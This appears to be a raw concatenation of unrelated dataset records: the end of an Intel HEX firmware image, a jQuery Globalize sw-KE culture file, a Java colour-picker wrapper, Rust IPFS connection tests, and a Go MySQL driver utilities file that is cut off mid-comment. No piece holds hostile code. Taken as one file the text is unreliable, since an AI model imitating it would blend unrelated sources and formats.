5000FFF7FFFB0020F8BD10B50121322000F066\n:104C6000C7FAFFF7B1FB002806D0282232211A48E4\n:104C700000F086FCFFF7DAFB10BD7047704710B5F7\n:104C80000446442C65D113480078022804D0032838\n:104C90000DD004284AD143E003200E490870FFF7E5\n:104CA00032FF032232210C4800F06AFC4EE0002063\n:104CB0000849087028223221074800F061FC144896\n:104CC0000068001D1249086040E00000F348002021\n:104CD000DD900020DC90002001C8000080800020D2\n:104CE0009F5B0020AC8000204C040000685B00202B\n:104CF000E0900020835B0020BA5B002002FF0000F0\n:104D0000444131343538302054454D504C0000007A\n:104D1000E8900020EC90002007D80000F4900020DC\n:104D200000207D4908607D4908600FE07C480078DC\n:104D3000401C7B49087078480068001D764908606F\n:104D400028223221774800F01BFC00BF00BFFFF78C\n:104D50006DFB10BD704710B5FFF768FB28223221AC\n:104D6000704800F00DFC10BD7047704770477047E9\n:104D700070B505466C488078000201460E311E234E\n:104D800032226A4800F0DCFA04460120207060708C\n:104D90000121E170102161710320A07001212171B6\n:104DA000002121720121A171E171204600F0DAFA9F\n:104DB00070BD7FB505465EA30FCB6C460FC45A4845\n:104DC0008078000201460E311E233222574800F03F\n:104DD000B7FA04465A48046010226946A01C00F045\n:104DE00073FA0420207001206070204600F0BAFAA7\n:104DF0007FBD7047704770B505461E2332220E21D5\n:104E00004A4800F09DFA04466878FFF77BFB0720CC\n:104E10002070012060704B48817E2177018B618278\n:104E20000822014610312046143000F04DFA1022BD\n:104E30004449A01C00F048FA204600F093FA70BDE7\n:104E40007047014601207047704770477047F8B5BA\n:104E500007460C461546284600F0A6F901280CD155\n:104E6000012332221146900200F06AFA06462078A9\n:104E70003070304600F076FA00BF0020F8BD10B563\n:104E80000446002010BD30B5044688782E4D2872A7\n:104E9000002030BDF8B505460C4616461F461022C8\n:104EA000A11C29480A3000F00FFA1022A11C274843\n:104EB00000F00AFA1022A11C254800F005FA002093\n:104EC000F8BD70B504462148801F4D88C582204832\n:104ED000801F8E788675CD78C575002070BD70B541\n:104EE00004461A4DAD1F48882883194DAD1F8E7892\n:104EF0002E76C8786876002070BD30B50446887874\n:104F0000114D68728878124DAD1FA87688780F4DC4\n:104F1000AD1FA876002030BDE8900020EC90002066\n:104F2000DC90002001C800008080002014380000C0\n:104F3000000102030405060708090A0B0C0D0E0FF9\n:104F4000F89000208C8000209F5B00206E5B00208A\n:104F5000895B0020024670B54A40D30FDB07400052\n:104F60002DD04A002AD0010E140E00021202091997\n:104F7000400A520A8418E50104465443000A120A02\n:104F80002E045043A4194219200CC543AA18120C30\n:104F90000125AD03521C521912047F39240400D09C\n:104FA000521C104301D44000491EC2B20C06C00975\n:104FB0002018401C4008802A02D003E0002070BD69\n:104FC00040084000002900DA0020184370BD10B5E9\n:104FD00000229623114600F01DF810BD410040024A\n:104FE0000122400AD205090E80187F2901DA00202B\n:104FF0007047962903DC9622511AC84070479639AB\n:1050000088407047002904DA401C490001D140085B\n:105010004000704770B40024050C05D11024000432\n:1050200002D1002921D01124050E01D1000208343B\n:10503000050F01D10001241D850F01D18000A41CA2\n:10504000002801DB4000641C002908D020252E1B0D\n:105050000D46F540A14000D0012129430843010637\n:105060001B1B000ADB1D02D5002070BC7047DB054E\n:10507000181880180029F8DA401C4900F5D170BCD6\n:105080004008400070470000064C0125064E05E030\n:10509000E36807CC2B430C3C98471034B442F7D359\n:1050A000FBF7D2F9D45A0020045B002003B4014876\n:1050B000019001BD551B020003B40148019001BDE0\n:1050C000CF2B030003B40148019001BD0F3B030047\n:1050D00003B40148019001BDCB2C030003B4014887\n:1050E000019001BD0990020003B40148019001BD87\n:1050F000C12D030003B40148019001BD0921030043\n:1051000003B40148019001BDC92D030003B4014857\n:10511000019001BD2B69020003B40148019001BD5B\n:10512000EB31030003B40148019001BD3D3203009F\n:1051300003B40148019001BDD721030003B4014825\n:10514000019001BD1F21020003B40148019001BD7F\n:105150002F2F030003B40148019001BD998F020075\n:1051600003B40148019001BD938F020003B40148CC\n:10517000019001BDCD8C020003B40148019001BD36\n:10518000418F020003B40148019001BD276802006D\n:1051900003B40148019001BD3968020003B401481D\n:1051A000019001BDB780020003B40148019001BD28\n:1051B000B326030003B40148019001BDFD3D030087\n:1051C00003B40148019001BD0522020003B4014867\n:1051D000019001BD197D020003B40148019001BD99\n:1051E000A528030003B40148019001BDD5AF02001A\n:1051F00003B40148019001BD3126030003B4014806\n:10520000019001BDA1A5020003B40148019001BDB8\n:10521000E3A5020003B40148019001BD87A8020084\n:1052200003B40148019001BDA7A9020003B40148DD\n:10523000019001BD93AA020003B40148019001BD91\n:1052400095AB020003B40148019001BDF9AB020027\n:1052500003B40148019001BD69AC020003B40148E8\n:10526000019001BD17AD020003B40148019001BDDA\n:1052700077AD020003B40148019001BDF1AD020019\n:1052800003B40148019001BD85AE020003B401489A\n:10529000019001BD11AF020003B40148019001BDAE\n:1052A0003350020003B40148019001BDA73A030046\n:1052B00003B40148019001BD5548020003B4014800\n:1052C000019001BD1F50020003B40148019001BDCF\n:1052D000213B030003B40148019001BD7F0C030092\n:1052E00003B40148019001BDAB0C030003B40148B5\n:1052F000019001BDBF22020003B40148019001BD2D\n:10530000EB26030003B40148019001BD35240300DE\n:1053100003B40148019001BD2F22020003B40148EB\n:10532000019001BDDD20030003B40148019001BDDF\n:10533000533B030003B40148019001BD9D200300CD\n:1053400003B40148019001BDB123030003B4014837\n:10535000019001BD49E5020003B40148019001BD7F\n:10536000F9E3020003B40148019001BDE123030009\n:1053700003B40148019001BD4BCD020003B40148C4\n:10538000019001BD99D1020003B40148019001BD13\n:10539000ABD0020003B40148019001BD69D0020006\n:1053A00003B40148019001BD77CF020003B4014866\n:1053B000019001BD01CC020003B40148019001BD80\n:1053C00029CC020003B40148019001BD15D20200AE\n:1053D00003B40148019001BD8DD2020003B401481D\n:1053E000019001BDB938020003B40148019001BD2C\n:1053F000CD44020003B40148019001BD775802007A\n:1054000003B40148019001BDD722030003B4014851\n:10541000019001BD2D42020003B40148019001BD7D\n:105420008D3D030003B40148019001BDF38E0200DD\n:1054300003B40148019001BD218E020003B401486C\n:10544000019001BD773B030003B40148019001BD09\n:10545000D729030003B40148019001BD792003005E\n:1054600003B40148019001BD2129030003B40148A0\n:10547000019001BDC768020003B40148019001BD5D\n:105480000D2C030003B40148019001BD652C0300FD\n:1054900003B40148019001BDDB2E030003B40148B1\n:1054A000019001BD231D020003B40148019001BD1C\n:1054B000C32C030003B40148019001BD1B66020028\n:1054C00003B40148019001BD1531030003B4014844\n:1054D000019001BD3B66020003B40148019001BD8B\n:1054E0002B66020003B40148019001BD038D020048\n:1054F00003B40148019001BDCF8F020003B40148FD\n:10550000019001BDE3E3020003B40148019001BD35\n:1055100095E3020003B40148019001BD533B030031\n:1055200003B40148019001BD8725030003B401487D\n:10553000019001BD7B9C020003B40148019001BDB4\n:10554000A59B020003B40148019001BD959802009B\n:1055500003B40148019001BD9599020003B40148CC\n:10556000019001BD6D9B020003B40148019001BD93\n:10557000B7E3020003B40148019001BDF3AF02009C\n:1055800003B40148019001BD2528030003B401487C\n:10559000019001BDFD3A030003B40148019001BD33\n:1055A000D33A030003B40148019001BD213B03003D\n:1055B00002E008C8121F08C1002AFAD170477047DC\n:1055C000002001E001C1121F002AFBD1704700003A\n:1055D0000149086070470000588000200101000A5E\n:1055E00004280A040203AA0055032A00A001FFFFB1\n:1055F0002C0100000A000000857502000B0000006D\n:105600006B7A02000C000000CB7902000D00000054\n:10561000A17502000E000000D37502000F0000000B\n:10562000F379020010000000FD7502001200000076\n:1056300017760200110000005D76020013000000E2\n:105640008776020014000000B17602001500000009\n:10565000D778020016000000097902001B00000044\n:10566000F77602004D000000577902001700000095\n:10567000217A0200180000001378020019000000CF\n:10568000537802001A000000957802001C00000008\n:105690008D7A02001D000000AD7A02001E0000009D\n:1056A000437A02001F000000737702002000000010\n:1056B000C377020021000000F37A020049000000D5\n:1056C000317B0200000800001511002001000000DD\n:1056D0003B7B020009000000537B02000500000034\n:1056E0007D7B020006000000A77B02000200000094\n:1056F0000B7C020007000000CF7B020000000000CE\n:10570000F97B0200030000006B7C02000400000033\n:105710008D7C020008000000F77C02004C000000B5\n:105720006D7E0200F4550020260000005443030063\n:10573000245700203204080006000100E511002073\n:105740005D130020451700200318002031180020A9\n:1057500049140020AD1400200D15002005040000A0\n:10576000451A0020060400009339020007040000D7\n:10577000D9390200080400001F3A020002040000A8\n:10578000B73B020000040000093C020004040000D2\n:105790006F3C020003040000D93C02000104000039\n:1057A0004B3D020009040000D73A02000A04000041\n:1057B000413B02000B0400004D3F020021040000A9\n:1057C0009942020026040000EB4702000008000096\n:1057D000EF3F02003F000000CF4102004B000000FD\n:1057E000C93D02004E000000213E020023040000DB\n:1057F0007F3E020024040000B93E0200270400009E\n:105800009B43020028040000C54302002504000059\n:105810003D4302002B040000F1430200310400006C\n:105820001144020032040000594402003504000013\n:105830008D44020029040000631A00202A0400009D\n:10584000254502002C0400006D4502002D040000D7\n:10585000F74502002E0400002B4602002F04000032\n:105860006346020033040000934602003404000043\n:1058700015470200360400004547020030040000CE\n:1058800097470200010800002D42020001080000B5\n:10589000811A002000080000EF3F02000000000015\n:1058A00000000000000000000000000000000000F8\n:1058B00000000000000000000000000000000000E8\n:1058C00000000000000000000000000000000000D8\n:1058D00000000000000000000000000000000000C8\n:1058E00000000000000000000000000000000000B8\n:1058F00000000000000000000000000000000000A8\n:105900000000000000000000000000000000000097\n:105910000000000000000000000000000000000087\n:105920000000000000000000000000000000000077\n:105930000000000000000000000000008C58002063\n:105940000200000000000000000000005C57002082\n:10595000260000009C5800204C59002064030800D9\n:1059600016000600FF003F00FF03FF0100010203D5\n:105970000405060708090A0B0C0D0E0F101112136F\n:105980001415161718191A1B1C1D1E1F202122235F\n:105990002425262728292A2B2C2D2E2F303132334F\n:1059A0003435363738393A3B3C3D3E3F404142433F\n:1059B0004445464748494A4B4C4D4E4F505152532F\n:1059C0005455565758595A5B5C5D5E5F045A002027\n:1059D0001C5A00207E8000200300010007D8000030\n:1059E000253F002000D80000394100200E30000083\n:1059F0002D42002009D80000D741002003380000C4\n:105A00007B430020DC59002001000000E459002005\n:105A100001000000EC59002002000000FC590020A9\n:105A20000100000000000000CC5A0020B0800020DF\n:105A3000060001000134000055470020003400003A\n:105A4000854700200038000043480020013800004E\n:105A50001D480020033800008148002000C80000D5\n:105A60009748002010340000C1480020133800007F\n:105A7000E145002015380000494600201738000095\n:105A8000AD460020193800003747002001C800004B\n:105A90003D4C002008D800004F4E002002D80000E6\n:105AA000874E002003D80000954E002004D8000047\n:105AB000C34E002005D80000DF4E002006D80000AD\n:105AC000FB4E002001D800007F4E0020345A0020F9\n:105AD00013000000D05B002000800020B400000014\n:105AE000C0550020D05B002020900020DC0000008A\n:105AF000C055002068070800202A0800E0050000C3\n:105B0000C0550020800C00000A0000101112131470\n:105B100015161718191A1B1C1D1E1F0A000020211C\n:105B200022232425262728292A2B2C2D2E2F0A0034\n:105B300000303132333435363738393A3B3C3D3E2C\n:105B40003F0A0000404142434445464748494A4BCA\n:105B50004C4D4E4F0A000050515253545556575811\n:105B6000595A5B5C5D5E5F001AFF4C0002155439A8\n:105B70002FC4CB60AB74CE8E7679F8F1B9160000E5\n:105B80000000C51BFF4C00BEAC54392FC4CB60AB2A\n:105B900074CE8E7679F8F1B91645322133C50003FB\n:105BA00003AAFE1516AAFE000925D59D55DFEC6255\n:105BB000E613565E75F46E46DA0003034C001116C8\n:105BC000AAFE20000000010000000000000000000C\n:040000052000044192\n:00000001FF\n"} {"text": "/*\n * Globalize Culture sw-KE\n *\n * http://github.com/jquery/globalize\n *\n * Copyright Software Freedom Conservancy, Inc.\n * Dual licensed under the MIT or GPL Version 2 licenses.\n * http://jquery.org/license\n *\n * This file was generated by the Globalize Culture Generator\n * Translation: bugs found in this file need to be fixed in the generator\n */\n\n(function( window, undefined ) {\n\nvar Globalize;\n\nif ( typeof require !== \"undefined\" &&\n\ttypeof exports !== \"undefined\" &&\n\ttypeof module !== \"undefined\" ) {\n\t// Assume CommonJS\n\tGlobalize = require( \"globalize\" );\n} else {\n\t// Global variable\n\tGlobalize = window.Globalize;\n}\n\nGlobalize.addCultureInfo( \"sw-KE\", \"default\", {\n\tname: \"sw-KE\",\n\tenglishName: \"Kiswahili (Kenya)\",\n\tnativeName: \"Kiswahili (Kenya)\",\n\tlanguage: \"sw\",\n\tnumberFormat: {\n\t\tcurrency: {\n\t\t\tsymbol: \"S\"\n\t\t}\n\t},\n\tcalendars: {\n\t\tstandard: {\n\t\t\tdays: {\n\t\t\t\tnames: [\"Jumapili\",\"Jumatatu\",\"Jumanne\",\"Jumatano\",\"Alhamisi\",\"Ijumaa\",\"Jumamosi\"],\n\t\t\t\tnamesAbbr: [\"Jumap.\",\"Jumat.\",\"Juman.\",\"Jumat.\",\"Alh.\",\"Iju.\",\"Jumam.\"],\n\t\t\t\tnamesShort: [\"P\",\"T\",\"N\",\"T\",\"A\",\"I\",\"M\"]\n\t\t\t},\n\t\t\tmonths: {\n\t\t\t\tnames: [\"Januari\",\"Februari\",\"Machi\",\"Aprili\",\"Mei\",\"Juni\",\"Julai\",\"Agosti\",\"Septemba\",\"Oktoba\",\"Novemba\",\"Decemba\",\"\"],\n\t\t\t\tnamesAbbr: [\"Jan\",\"Feb\",\"Mac\",\"Apr\",\"Mei\",\"Jun\",\"Jul\",\"Ago\",\"Sep\",\"Okt\",\"Nov\",\"Dec\",\"\"]\n\t\t\t}\n\t\t}\n\t}\n});\n\n}( this ));\n"} {"text": "/*\n * Copyright (c) 2008-2017 Haulmont.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.haulmont.cuba.web.widgets;\n\nimport com.vaadin.shared.ui.colorpicker.Color;\nimport com.vaadin.ui.Component;\nimport com.vaadin.ui.CustomField;\n\nimport java.util.Objects;\n\npublic class CubaColorPickerWrapper extends CustomField<Color> {\n\n protected CubaColorPicker field;\n\n // The internalValue is used to store the 'null' value,\n // because the ColorPicker doesn't accept null values\n protected Color internalValue;\n\n public CubaColorPickerWrapper() {\n field = createColorPicker();\n initColorPicker(field);\n // We need to sync 'internalValue' with the default field value, otherwise,\n // the first time we set 'null', it doesn't change the color to Black\n setInternalValue(field.getValue());\n setFocusDelegate(field);\n setPrimaryStyleName(\"c-color-picker\");\n setWidthUndefined();\n }\n\n private CubaColorPicker createColorPicker() {\n return new CubaColorPicker();\n }\n\n protected void initColorPicker(CubaColorPicker field) {\n field.addValueChangeListener((ValueChangeListener<Color>) event -> {\n setInternalValue(event.getValue());\n fireEvent(createValueChange(event.getOldValue(), event.isUserOriginated()));\n });\n field.setCaption(null);\n field.setModal(true);\n }\n\n @Override\n protected Component initContent() {\n return field;\n }\n\n @Override\n public void setReadOnly(boolean readOnly) {\n super.setReadOnly(readOnly);\n if (field != null) {\n field.setReadOnly(readOnly);\n }\n }\n\n @Override\n protected void doSetValue(Color value) {\n if (!Objects.equals(field.getValue(), value)) {\n field.setValue(value);\n }\n setInternalValue(value);\n }\n\n @Override\n public Color getValue() {\n return getInternalValue();\n }\n\n public Color getInternalValue() {\n return internalValue;\n }\n\n public void setInternalValue(Color internalValue) {\n if (!Objects.equals(this.internalValue, internalValue)) {\n this.internalValue = internalValue;\n markAsDirty();\n }\n }\n\n @Override\n public void setWidth(float width, Unit unit) {\n super.setWidth(width, unit);\n\n if (field != null) {\n if (width < 0) {\n field.setWidthUndefined();\n } else {\n field.setWidth(\"100%\");\n }\n }\n }\n\n @Override\n public void setHeight(float height, Unit unit) {\n super.setHeight(height, unit);\n\n if (field != null) {\n if (height < 0) {\n field.setHeightUndefined();\n } else {\n field.setHeight(\"100%\");\n }\n }\n }\n\n public void setDefaultCaptionEnabled(boolean value) {\n field.setDefaultCaptionEnabled(value);\n\n if (value) {\n removeStyleName(\"color-maxwidth\");\n } else {\n addStyleName(\"color-maxwidth\");\n }\n }\n\n public boolean isDefaultCaptionEnabled() {\n return field.isDefaultCaptionEnabled();\n }\n\n public void setButtonCaption(String value) {\n field.setCaption(value);\n }\n\n public String getButtonCaption() {\n return field.getCaption();\n }\n\n public void setHistoryVisible(boolean value) {\n field.setHistoryVisibility(value);\n }\n\n public boolean isHistoryVisible() {\n return field.getHistoryVisibility();\n }\n\n public void setSwatchesVisible(boolean value) {\n field.setSwatchesVisibility(value);\n }\n\n public boolean isSwatchesVisible() {\n return field.getSwatchesVisibility();\n }\n\n public void setRGBVisible(boolean value) {\n field.setRGBVisibility(value);\n }\n\n public boolean isRGBVisible() {\n return field.getRGBVisibility();\n }\n\n public void setHSVVisible(boolean value) {\n field.setHSVVisibility(value);\n }\n\n public boolean isHSVVisible() {\n return field.getHSVVisibility();\n }\n\n public void setPopupCaption(String popupCaption) {\n field.setWindowCaption(popupCaption);\n }\n\n public String getPopupCaption() {\n return field.getWindowCaption();\n }\n\n public void setConfirmButtonCaption(String caption) {\n field.setConfirmButtonCaption(caption);\n }\n\n public String getConfirmButtonCaption() {\n return field.getConfirmButtonCaption();\n }\n\n public void setCancelButtonCaption(String caption) {\n field.setCancelButtonCaption(caption);\n }\n\n public String getCancelButtonCaption() {\n return field.getCancelButtonCaption();\n }\n\n public void setSwatchesTabCaption(String caption) {\n field.setSwatchesTabCaption(caption);\n }\n\n public String getSwatchesTabCaption() {\n return field.getSwatchesTabCaption();\n }\n\n public void setLookupAllCaption(String lookupAllCaption) {\n field.setLookupAllCaption(lookupAllCaption);\n }\n\n public String getLookupAllCaption() {\n return field.getLookupAllCaption();\n }\n\n public void setLookupRedCaption(String lookupRedCaption) {\n field.setLookupRedCaption(lookupRedCaption);\n }\n\n public String getLookupRedCaption() {\n return field.getLookupRedCaption();\n }\n\n public void setLookupGreenCaption(String lookupGreenCaption) {\n field.setLookupGreenCaption(lookupGreenCaption);\n }\n\n public String getLookupGreenCaption() {\n return field.getLookupGreenCaption();\n }\n\n public void setLookupBlueCaption(String lookupBlueCaption) {\n field.setLookupBlueCaption(lookupBlueCaption);\n }\n\n public String getLookupBlueCaption() {\n return field.getLookupBlueCaption();\n }\n\n public void setRedSliderCaption(String redSliderCaption) {\n field.setRedSliderCaption(redSliderCaption);\n }\n\n public String getRedSliderCaption() {\n return field.getRedSliderCaption();\n }\n\n public void setGreenSliderCaption(String greenSliderCaption) {\n field.setGreenSliderCaption(greenSliderCaption);\n }\n\n public String getGreenSliderCaption() {\n return field.getGreenSliderCaption();\n }\n\n public void setBlueSliderCaption(String blueSliderCaption) {\n field.setBlueSliderCaption(blueSliderCaption);\n }\n\n public String getBlueSliderCaption() {\n return field.getBlueSliderCaption();\n }\n\n public void setHueSliderCaption(String hueSliderCaption) {\n field.setHueSliderCaption(hueSliderCaption);\n }\n\n public String getHueSliderCaption() {\n return field.getHueSliderCaption();\n }\n\n public void setSaturationSliderCaption(String saturationSliderCaption) {\n field.setSaturationSliderCaption(saturationSliderCaption);\n }\n\n public String getSaturationSliderCaption() {\n return field.getSaturationSliderCaption();\n }\n\n public void setValueSliderCaption(String valueSliderCaption) {\n field.setValueSliderCaption(valueSliderCaption);\n }\n\n public String getValueSliderCaption() {\n return field.getValueSliderCaption();\n }\n}"} {"text": "use ipfs::Node;\nuse libp2p::{multiaddr::Protocol, Multiaddr};\nuse std::time::Duration;\nuse tokio::time::timeout;\n\n#[cfg(any(feature = \"test_go_interop\", feature = \"test_js_interop\"))]\nmod common;\n#[cfg(any(feature = \"test_go_interop\", feature = \"test_js_interop\"))]\nuse common::interop::ForeignNode;\n\nconst TIMEOUT: Duration = Duration::from_secs(5);\n\n// Make sure two instances of ipfs can be connected by `Multiaddr`.\n#[tokio::test(max_threads = 1)]\nasync fn connect_two_nodes_by_addr() {\n let node_a = Node::new(\"a\").await;\n\n #[cfg(all(not(feature = \"test_go_interop\"), not(feature = \"test_js_interop\")))]\n let node_b = Node::new(\"b\").await;\n #[cfg(any(feature = \"test_go_interop\", feature = \"test_js_interop\"))]\n let node_b = ForeignNode::new();\n\n timeout(TIMEOUT, node_a.connect(node_b.addrs[0].clone()))\n .await\n .expect(\"timeout\")\n .expect(\"should have connected\");\n}\n\n// Make sure only a `Multiaddr` with `/p2p/` can be used to connect.\n#[tokio::test(max_threads = 1)]\n#[should_panic(expected = \"called `Result::unwrap()` on an `Err` value: MissingProtocolP2p\")]\nasync fn dont_connect_without_p2p() {\n let node_a = Node::new(\"a\").await;\n let node_b = Node::new(\"b\").await;\n\n let mut b_addr = node_b.addrs[0].clone();\n // drop the /p2p/peer_id part\n b_addr.pop();\n\n timeout(TIMEOUT, node_a.connect(b_addr))\n .await\n .expect(\"timeout\")\n .expect_err(\"should not have connected\");\n}\n\n// Make sure two instances of ipfs can be connected by `PeerId`.\n#[ignore = \"connecting just by PeerId is not currently supported\"]\n#[tokio::test(max_threads = 1)]\nasync fn connect_two_nodes_by_peer_id() {\n let node_a = Node::new(\"a\").await;\n let node_b = Node::new(\"b\").await;\n\n node_a\n .add_peer(node_b.id.clone(), node_b.addrs[0].clone())\n .await\n .unwrap();\n let b_id_multiaddr: Multiaddr = format!(\"/p2p/{}\", &node_b.id).parse().unwrap();\n\n timeout(TIMEOUT, node_a.connect(b_id_multiaddr))\n .await\n .expect(\"timeout\")\n .expect(\"should have connected\");\n}\n\n// Ensure that duplicate connection attempts don't cause hangs.\n#[tokio::test(max_threads = 1)]\nasync fn connect_duplicate_multiaddr() {\n let node_a = Node::new(\"a\").await;\n let node_b = Node::new(\"b\").await;\n\n // test duplicate connections by address\n for _ in 0..3 {\n // final success or failure doesn't matter, there should be no timeout\n let _ = timeout(TIMEOUT, node_a.connect(node_b.addrs[0].clone()))\n .await\n .unwrap();\n }\n}\n\n// More complicated one to the above; first node will have two listening addresses and the second\n// one should dial both of the addresses, resulting in two connections.\n#[tokio::test(max_threads = 1)]\nasync fn connect_two_nodes_with_two_connections_doesnt_panic() {\n let node_a = Node::new(\"a\").await;\n let node_b = Node::new(\"b\").await;\n\n node_a\n .add_listening_address(\"/ip4/127.0.0.1/tcp/0\".parse().unwrap())\n .await\n .unwrap();\n\n let addresses = node_a.addrs_local().await.unwrap();\n assert_eq!(addresses.len(), 2);\n\n for mut addr in addresses.into_iter() {\n addr.push(Protocol::P2p(node_a.id.clone().into()));\n\n timeout(TIMEOUT, node_b.connect(addr))\n .await\n .expect(\"timeout\")\n .expect(\"should have connected\");\n }\n\n // not too sure on this, since there'll be a single peer but two connections; the return\n // type is `Vec<Connection>` but it's peer with any connection.\n let mut peers = node_a.peers().await.unwrap();\n assert_eq!(peers.len(), 1);\n\n // sadly we are unable to currently verify that there exists two connections for the node_b\n // peer..\n\n node_a\n .disconnect(peers.remove(0).addr)\n .await\n .expect(\"failed to disconnect peer_b at peer_a\");\n\n let peers = node_a.peers().await.unwrap();\n assert!(\n peers.is_empty(),\n \"node_b was still connected after disconnect: {:?}\",\n peers\n );\n}\n"} {"text": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"crypto/tls\"\n\t\"database/sql/driver\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"io\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n)\n\n// Registry for custom tls.Configs\nvar (\n\ttlsConfigLock sync.RWMutex\n\ttlsConfigRegistry map[string]*tls.Config\n)\n\n// RegisterTLSConfig registers a custom tls.Config to be used with sql.Open.\n// Use the key as a value in the DSN where tls=value.\n//\n// Note: The provided tls.Config is exclusively owned by the driver after\n// registering it.\n//\n// rootCertPool := x509.NewCertPool()\n// pem, err := ioutil.ReadFile(\"/path/ca-cert.pem\")\n// if err != nil {\n// log.Fatal(err)\n// }\n// if ok := rootCertPool.AppendCertsFromPEM(pem); !ok {\n// log.Fatal(\"Failed to append PEM.\")\n// }\n// clientCert := make([]tls.Certificate, 0, 1)\n// certs, err := tls.LoadX509KeyPair(\"/path/client-cert.pem\", \"/path/client-key.pem\")\n// if err != nil {\n// log.Fatal(err)\n// }\n// clientCert = append(clientCert, certs)\n// mysql.RegisterTLSConfig(\"custom\", &tls.Config{\n// RootCAs: rootCertPool,\n// Certificates: clientCert,\n// })\n// db, err := sql.Open(\"mysql\", \"user@tcp(localhost:3306)/test?tls=custom\")\n//\nfunc RegisterTLSConfig(key string, config *tls.Config) error {\n\tif _, isBool := readBool(key); isBool || strings.ToLower(key) == \"skip-verify\" {\n\t\treturn fmt.Errorf(\"key '%s' is reserved\", key)\n\t}\n\n\ttlsConfigLock.Lock()\n\tif tlsConfigRegistry == nil {\n\t\ttlsConfigRegistry = make(map[string]*tls.Config)\n\t}\n\n\ttlsConfigRegistry[key] = config\n\ttlsConfigLock.Unlock()\n\treturn nil\n}\n\n// DeregisterTLSConfig removes the tls.Config associated with key.\nfunc DeregisterTLSConfig(key string) {\n\ttlsConfigLock.Lock()\n\tif tlsConfigRegistry != nil {\n\t\tdelete(tlsConfigRegistry, key)\n\t}\n\ttlsConfigLock.Unlock()\n}\n\nfunc getTLSConfigClone(key string) (config *tls.Config) {\n\ttlsConfigLock.RLock()\n\tif v, ok := tlsConfigRegistry[key]; ok {\n\t\tconfig = cloneTLSConfig(v)\n\t}\n\ttlsConfigLock.RUnlock()\n\treturn\n}\n\n// Returns the bool value of the input.\n// The 2nd return value indicates if the input was a valid bool value\nfunc readBool(input string) (value bool, valid bool) {\n\tswitch input {\n\tcase \"1\", \"true\", \"TRUE\", \"True\":\n\t\treturn true, true\n\tcase \"0\", \"false\", \"FALSE\", \"False\":\n\t\treturn false, true\n\t}\n\n\t// Not a valid bool value\n\treturn\n}\n\n/******************************************************************************\n* Time related utils *\n******************************************************************************/\n\n// NullTime represents a time.Time that may be NULL.\n// NullTime implements the Scanner interface so\n// it can be used as a scan destination:\n//\n// var nt NullTime\n// err := db.QueryRow(\"SELECT time FROM foo WHERE id=?\", id).Scan(&nt)\n// ...\n// if nt.Valid {\n// // use nt.Time\n// } else {\n// // NULL value\n// }\n//\n// This NullTime implementation is not driver-specific\ntype NullTime struct {\n\tTime time.Time\n\tValid bool // Valid is true if Time is not NULL\n}\n\n// Scan implements the Scanner interface.\n// The value type must be time.Time or string / []byte (formatted time-string),\n// otherwise Scan fails.\nfunc (nt *NullTime) Scan(value interface{}) (err error) {\n\tif value == nil {\n\t\tnt.Time, nt.Valid = time.Time{}, false\n\t\treturn\n\t}\n\n\tswitch v := value.(type) {\n\tcase time.Time:\n\t\tnt.Time, nt.Valid = v, true\n\t\treturn\n\tcase []byte:\n\t\tnt.Time, err = parseDateTime(string(v), time.UTC)\n\t\tnt.Valid = (err == nil)\n\t\treturn\n\tcase string:\n\t\tnt.Time, err = parseDateTime(v, time.UTC)\n\t\tnt.Valid = (err == nil)\n\t\treturn\n\t}\n\n\tnt.Valid = false\n\treturn fmt.Errorf(\"Can't convert %T to time.Time\", value)\n}\n\n// Value implements the driver Valuer interface.\nfunc (nt NullTime) Value() (driver.Value, error) {\n\tif !nt.Valid {\n\t\treturn nil, nil\n\t}\n\treturn nt.Time, nil\n}\n\nfunc parseDateTime(str string, loc *time.Location) (t time.Time, err error) {\n\tbase := \"0000-00-00 00:00:00.0000000\"\n\tswitch len(str) {\n\tcase 10, 19, 21, 22, 23, 24, 25, 26: // up to \"YYYY-MM-DD HH:MM:SS.MMMMMM\"\n\t\tif str == base[:len(str)] {\n\t\t\treturn\n\t\t}\n\t\tt, err = time.Parse(timeFormat[:len(str)], str)\n\tdefault:\n\t\terr = fmt.Errorf(\"invalid time string: %s\", str)\n\t\treturn\n\t}\n\n\t// Adjust location\n\tif err == nil && loc != time.UTC {\n\t\ty, mo, d := t.Date()\n\t\th, mi, s := t.Clock()\n\t\tt, err = time.Date(y, mo, d, h, mi, s, t.Nanosecond(), loc), nil\n\t}\n\n\treturn\n}\n\nfunc parseBinaryDateTime(num uint64, data []byte, loc *time.Location) (driver.Value, error) {\n\tswitch num {\n\tcase 0:\n\t\treturn time.Time{}, nil\n\tcase 4:\n\t\treturn time.Date(\n\t\t\tint(binary.LittleEndian.Uint16(data[:2])), // year\n\t\t\ttime.Month(data[2]), // month\n\t\t\tint(data[3]), // day\n\t\t\t0, 0, 0, 0,\n\t\t\tloc,\n\t\t), nil\n\tcase 7:\n\t\treturn time.Date(\n\t\t\tint(binary.LittleEndian.Uint16(data[:2])), // year\n\t\t\ttime.Month(data[2]), // month\n\t\t\tint(data[3]), // day\n\t\t\tint(data[4]), // hour\n\t\t\tint(data[5]), // minutes\n\t\t\tint(data[6]), // seconds\n\t\t\t0,\n\t\t\tloc,\n\t\t), nil\n\tcase 11:\n\t\treturn time.Date(\n\t\t\tint(binary.LittleEndian.Uint16(data[:2])), // year\n\t\t\ttime.Month(data[2]), // month\n\t\t\tint(data[3]), // day\n\t\t\tint(data[4]), // hour\n\t\t\tint(data[5]), // minutes\n\t\t\tint(data[6]), // seconds\n\t\t\tint(binary.LittleEndian.Uint32(data[7:11]))*1000, // nanoseconds\n\t\t\tloc,\n\t\t), nil\n\t}\n\treturn nil, fmt.Errorf(\"invalid DATETIME packet length %d\", num)\n}\n\n// zeroDateTime is used in formatBinaryDateTime to 